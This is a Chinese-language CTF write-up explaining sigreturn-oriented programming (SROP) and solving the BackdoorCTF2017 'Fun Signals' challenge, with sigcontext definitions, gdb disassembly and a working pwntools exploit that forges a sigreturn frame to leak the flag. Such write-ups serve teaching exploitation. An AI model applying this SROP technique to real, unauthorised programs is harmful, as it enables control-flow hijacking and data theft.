# 6.1.4 pwn BackdoorCTF2017 Fun-Signals

- [SROP 原理](#srop-原理)
  - [Linux 系统调用](#linux-系统调用)
  - [signal 机制](#signal-机制)
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
- [参考资料](#参考资料)


## SROP 原理
#### Linux 系统调用
在开始这一切之前，我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
`/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中，另外还需要查看 `/usr/include/bits/syscall.h`。

一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用，它会先进行调用者特权级别的检查，然后进行压栈、跳转等操作，这无疑会浪费许多资源。从 Linux 2.6 开始，就出现了新的系统调用指令 `sysenter`/`sysexit`，前者用于从 Ring3 进入 Ring0，后者用于从 Ring0 返回 Ring3，它没有特权级别检查，也没有压栈的操作，所以执行速度更快。

#### signal 机制

![](../pic/6.4_signal.png)

sigreturn frame 因架构不同而不同，在 Linux 中也有了新的定义，但目前关于 srop 的利用也都是基于旧的 sigcontext，所以这里还是给出旧定义，仅当用户空间依然依赖它时才会使用它们：
```
# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate     *fpstate;
    __u32               oldmask;
    __u32               cr2;
};
# else /* __x86_64__: */
struct sigcontext {
    __u64               r8;
    __u64               r9;
    __u64               r10;
    __u64               r11;
    __u64               r12;
    __u64               r13;
    __u64               r14;
    __u64               r15;
    __u64               rdi;
    __u64               rsi;
    __u64               rbp;
    __u64               rbx;
    __u64               rdx;
    __u64               rax;
    __u64               rcx;
    __u64               rsp;
    __u64               rip;
    __u64               eflags;     /* RFLAGS */
    __u16               cs;
    __u16               gs;
    __u16               fs;
    union {
        __u16           ss; /* If UC_SIGCONTEXT_SS */
        __u16           __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
    };
    __u64               err;
    __u64               trapno;
    __u64               oldmask;
    __u64               cr2;
    struct _fpstate     *fpstate;   /* Zero when no FPU context */
#  ifdef __ILP32__
    __u32               __fpstate_pad;
#  endif
    __u64               reserved1[8];
};
```

在你使用 `ldd` 命令时，通常也会显示 vDSO，如下：
```
$ ldd /usr/bin/ls
        linux-vdso.so.1 (0x00007ffff7ffa000)
        libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)
```
32 位程序则会显示 `linux-gate.so.1`，都是一个意思。


## BackdoorCTF2017 Fun Signals
这是一个 64 位静态链接的 srop，可以说是什么都没开。。。
```
$ checksec -f funsignals_player_bin 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No       0               0       funsignals_player_bin
```
```
gdb-peda$ disassemble _start
Dump of assembler code for function _start:
   0x0000000010000000 <+0>:     xor    eax,eax
   0x0000000010000002 <+2>:     xor    edi,edi
   0x0000000010000004 <+4>:     xor    edx,edx
   0x0000000010000006 <+6>:     mov    dh,0x4
   0x0000000010000008 <+8>:     mov    rsi,rsp
   0x000000001000000b <+11>:    syscall 
   0x000000001000000d <+13>:    xor    edi,edi
   0x000000001000000f <+15>:    push   0xf
   0x0000000010000011 <+17>:    pop    rax
   0x0000000010000012 <+18>:    syscall 
   0x0000000010000014 <+20>:    int3   
End of assembler dump.
gdb-peda$ disassemble syscall
Dump of assembler code for function syscall:
   0x0000000010000015 <+0>:     syscall 
   0x0000000010000017 <+2>:     xor    rdi,rdi
   0x000000001000001a <+5>:     mov    rax,0x3c
   0x0000000010000021 <+12>:    syscall 
End of assembler dump.
gdb-peda$ x/s flag
0x10000023 <flag>:      "fake_flag_here_as_original_is_at_server"
```
而且 flag 就在二进制文件里，只不过是在服务器上的那个里面，过程是完全一样的。

首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`（调用号`0x0`），它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处，也就是栈上。第二个是 `sigreturn()`（调用号`0xf`），它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。

那么怎样读取 flag 呢，需要一个 `write(1, &flag, 50)`，调用号为 `0x1`，而函数 `syscall` 正好为我们提供了 `syscall` 指令，构造 payload 如下：
```python
from pwn import *

elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)

context.clear()
context.arch = "amd64"

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(str(frame))
io.interactive()
```
```
$ python2 exp_funsignals.py 
[*] '/home/firmy/Desktop/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
```
如果连接的是远程服务器，`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。

其他文件放在了[github](../src/writeup/6.1.4_pwn_backdoorctf2017_fun_signals)相应文件夹中。

这一节我们详细介绍了 SROP 的原理，并展示了一个简单的例子，在后面的章节中，会展示其更复杂的运用，包扩结合 vDSO 的用法。


## 参考资料
- [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
- [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
- [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)